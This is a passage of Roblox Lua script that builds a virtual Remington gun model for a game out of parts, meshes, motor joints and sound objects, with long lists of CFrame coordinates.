		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, -4.35450644e-008, -0.999958932, -0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0.0279998779, 0.279903412, -0.764511108, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Mesh = New("BlockMesh",Handle,"Mesh",{Scale = Vector3.new(0.111111112, 0.444444448, 0.111111112),})
		A1 = New("Sound",Handle,"A1",{})
		A2 = New("Sound",Handle,"A2",{})
		Fire = New("Sound",Handle,"Fire",{})
		Fire2 = New("Sound",Handle,"Fire2",{})
		local HMSound = NewSound(Plr.PlayerGui,131864673)
		Reload = New("Sound",Handle,"Reload",{})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.400000006),CFrame = CFrame.new(198.994003, 34.2989998, 238.526001, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 0.166666672, 1),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.319309235, -0.587142944, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.2099991, 237.858002, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 0.444444448, 0.666666687),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.224285126, 0.0800323486, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.933333337),CFrame = CFrame.new(198.994003, 34.0950012, 238.257004, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 0.666666687, 1),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.112892151, -0.319992065, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.0089989, 238.039993, -0.999999285, -4.35450715e-008, -3.80975962e-009, 4.3577586e-008, -0.999956846, -0.00901973248, -3.41675488e-009, -0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.388888896, 0.222222224, 0.277777761),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, -4.35450644e-008, -0.999958932, -0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.024936676, -0.103775024, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.966003, 34.1800003, 238.701996, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.222222224, 0.222222224),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0.0279998779, 0.201900482, -0.764205933, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Really black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.400000006),CFrame = CFrame.new(198.994003, 34.031002, 238.522995, 0.999999285, 1.30967805e-007, -3.80978804e-009, -1.30996568e-007, 0.999956846, -0.0090198135, 2.62821231e-009, 0.00901978463, 0.99995625),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.722222269, 0.055555556, 1),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -1.30996838e-007, 2.62824362e-009, 1.30967891e-007, 0.999958932, 0.00901984051, -3.80976761e-009, -0.00901980139, 0.999959052),C1 = CFrame.new(0, 0.0512924194, -0.586547852, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.0119972, 238.272995, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.388888896, 0.166666672, 0.388888896),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.0300369263, -0.336730957, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 33.9789963, 237.856003, 0.999999285, 1.03373443e-008, -2.32402641e-007, -4.25526565e-008, -0.974026322, -0.226423502, -2.28707094e-007, 0.226423398, -0.974025607),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.277777761, 0.055555556),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.25527666e-008, -2.28707719e-007, 1.03373541e-008, -0.974028349, 0.226424009, -2.32402826e-007, -0.226424009, -0.974028349),C1 = CFrame.new(0.00399780273, -0.00672531128, 0.0799407959, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 33.9899979, 238.149979, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.388888896, 0.388888896, 0.833333373),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.00692749023, -0.213928223, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.555555582, 0.200000003),CFrame = CFrame.new(198.994003, 34.1539955, 239.078995, -2.83248072e-015, -6.03961325e-014, -0.999999285, -0.999956846, -0.00901970267, -5.55111512e-016, -0.00901960582, 0.999956131, 2.48689958e-014),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.777777791, 1, 0.5),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.4408921e-016, -0.999958932, -0.00901966169, -3.6918385e-014, -0.0090196915, 0.999958932, -1, -5.69026866e-015, -4.39813642e-015),C1 = CFrame.new(0, 0.179298401, -1.14141846, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 34.038002, 237.516998, -0.999999046, 2.32402598e-007, -1.03373257e-008, 4.25526565e-008, 0.226423576, 0.974026561, 2.28707108e-007, 0.974025726, -0.226423189),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.5, 0.333333343, 0.944444478),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 4.25527524e-008, 2.28707705e-007, 2.32402826e-007, 0.226424068, 0.974028468, -1.03373088e-008, 0.974028587, -0.226423785),C1 = CFrame.new(0.00399780273, 0.0492210388, 0.419464111, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		S2 = New("Part",Remington_Model,"S2",{BrickColor = BrickColor.new("Brick yellow"),Reflectance = 0.20000000298023,Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.0320015, 238.384995, -1.33226763e-014, -2.13162821e-014, -0.999999285, -0.996938169, 0.0781665966, -5.82867088e-016, 0.078166604, 0.996937454, 2.84217094e-014),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.843137, 0.772549, 0.603922),})
		Mesh = New("CylinderMesh",S2,"Mesh",{Scale = Vector3.new(0.555555522, 0.5, 0.555555522),})
		mot = New("Motor",S2,"mot",{Part0 = S2,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0, -0.996940255, 0.0781667978, 0, 0.0781667978, 0.996940255, -1, 0, 0),C1 = CFrame.new(0, 0.0510482788, -0.448547363, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.3349991, 241.074982, 0.999999285, -4.6309799e-007, -0.000345309236, -2.65153176e-006, 0.999956846, -0.00901973248, 0.0003452987, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.111111112, 0.166666672, 0.388888896),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -2.65152653e-006, 0.000345299661, -4.63098331e-007, 0.999958932, 0.0090197213, -0.000345309469, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.378295898, -3.13569641, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.966003, 34.1829987, 238.347, -0.999999285, 4.35450715e-008, 3.80975962e-009, 4.3577586e-008, 0.999956846, 0.00901973248, -3.41675488e-009, 0.00901966542, -0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.222222224, 0.222222224),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, 3.80973963e-009, 0.0090197213, -0.999958932),C1 = CFrame.new(0.0279998779, 0.201698303, -0.409194946, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.400000006),CFrame = CFrame.new(198.994003, 34.2409973, 238.124985, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 0.777777791, 1),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.25769043, -0.186660767, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.222222224, 0.200000003),CFrame = CFrame.new(198.994003, 34.1439972, 237.757004, -0.999999285, -4.35450715e-008, -3.80975962e-009, 4.3577586e-008, -0.999956846, -0.00901973248, -3.41675488e-009, -0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 1, 0.333333343),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, -4.35450644e-008, -0.999958932, -0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.157375336, 0.180435181, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.988007, 34.0090027, 237.363998, 0.999999285, -5.41788836e-014, 1.38555833e-013, -5.27355937e-016, -0.983430386, -0.181274071, 9.59232693e-014, 0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Stock,"Mesh",{Scale = Vector3.new(0.521739066, 0.304347873, 0.260869563),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, -2.22285857e-014, -0.983432472, 0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, 0.0188407898, 0.57220459, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.988007, 33.8969994, 237.184998, 0.999999285, -5.41788836e-014, 1.38555833e-013, -5.27355937e-016, -0.983430386, -0.181274071, 9.59232693e-014, 0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Stock,"Mesh",{Scale = Vector3.new(0.521739066, 0.478260934, 0.565217435),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, -2.22285857e-014, -0.983432472, 0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, -0.0947723389, 0.750183105, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.478260875),CFrame = CFrame.new(198.988007, 33.8729973, 236.888992, -0.999999285, 5.41788836e-014, 1.38555833e-013, 5.27355937e-016, 0.983430386, -0.181274071, -9.59232693e-014, -0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Stock,"Mesh",{Scale = Vector3.new(0.521738946, 0.782608449, 1),})
		mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, 2.22285857e-014, 0.983432472, -0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, -0.121440887, 1.04595947, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.226086944),CFrame = CFrame.new(198.988007, 33.9839973, 237.22702, -0.999999285, 5.41788836e-014, 1.38555833e-013, 5.27355937e-016, 0.983430386, -0.181274071, -9.59232693e-014, -0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Stock,"Mesh",{Scale = Vector3.new(0.521738946, 0.304347605, 1),})
		mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, 2.22285857e-014, 0.983432472, -0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, -0.007396698, 0.708953857, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.217391297, 0.200000003),CFrame = CFrame.new(198.988007, 34.1269989, 237.497009, 0.999999285, 1.38555833e-013, 5.41788836e-014, -5.27355937e-016, -0.181274071, 0.983430386, 9.59232693e-014, -0.98342967, -0.181273997),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("CylinderMesh",Stock,"Mesh",{Scale = Vector3.new(0.956521749, 1, 0.782608688),})
		mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, 1.20592555e-013, -0.181274489, -0.983432472, 2.22285857e-014, 0.983432472, -0.181274489),C1 = CFrame.new(0.0059967041, 0.138034821, 0.440261841, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.243478239, 0.200000003, 0.243478239),CFrame = CFrame.new(198.988007, 33.9239998, 236.348999, 0.999999285, 1.38555833e-013, 5.41788836e-014, -5.27355937e-016, -0.181274071, 0.983430386, 9.59232693e-014, -0.98342967, -0.181273997),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("CylinderMesh",Stock,"Mesh",{Scale = Vector3.new(1, 0.652173877, 1),})
		mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, 1.20592555e-013, -0.181274489, -0.983432472, 2.22285857e-014, 0.983432472, -0.181274489),C1 = CFrame.new(0.0059967041, -0.0753135681, 1.58639526, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.243478253, 1.0869565, 0.208695665),CFrame = CFrame.new(198.988007, 34.0160027, 236.897995, 0.999999285, 1.38555833e-013, 5.41788836e-014, -5.27355937e-016, -0.181274071, 0.983430386, 9.59232693e-014, -0.98342967, -0.181273997),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Stock,"Mesh",{})
		mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, 1.20592555e-013, -0.181274489, -0.983432472, 2.22285857e-014, 0.983432472, -0.181274489),C1 = CFrame.new(0.0059967041, 0.0216369629, 1.03825378, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 1, 1),CFrame = CFrame.new(198.994003, 34.4000015, 238.175003, -0.999999225, 0.000345300476, 9.27113319e-009, 0.000345292647, 0.999976933, -0.0064469967, -2.23547249e-006, -0.00644715875, -0.99997431),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.0599999987, 0.0599999987, 0.159999996),MeshId = "http://www.roblox.com/asset/?id=3270017",MeshType = Enum.MeshType.FileMesh,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.99999994, 0.000345293345, -2.2354684e-006, 0.000345300708, 0.999979079, -0.00644714758, 9.27112342e-009, -0.00644704048, -0.999977171),C1 = CFrame.new(0, 0.417140961, -0.235244751, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Railing = New("Part",Remington_Model,"Railing",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 1, 1),CFrame = CFrame.new(198.994003, 34.3609962, 238.720001, 0.999999285, -3.02360537e-009, 1.71927041e-007, 1.915341e-009, 0.999976873, 0.00644559413, -1.71942631e-007, -0.00644565001, 0.999976158),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Railing,"Mesh",{Scale = Vector3.new(0.114285715, 0.0285714287, 0.0571428575),MeshType = Enum.MeshType.Torso,})
		mot = New("Motor",Railing,"mot",{Part0 = Railing,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 1.91535277e-009, -1.719431e-007, -3.02358383e-009, 0.99997896, -0.00644563884, 1.71927184e-007, 0.00644563884, 0.99997896),C1 = CFrame.new(0, 0.383052826, -0.780578613, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Railing = New("Part",Remington_Model,"Railing",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 1, 1),CFrame = CFrame.new(198.994003, 34.3600006, 238.492996, 0.999998927, -3.02360537e-009, 1.71926985e-007, 1.91531191e-009, 0.999976873, 0.00644556619, -1.7194256e-007, -0.00644565001, 0.999975801),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
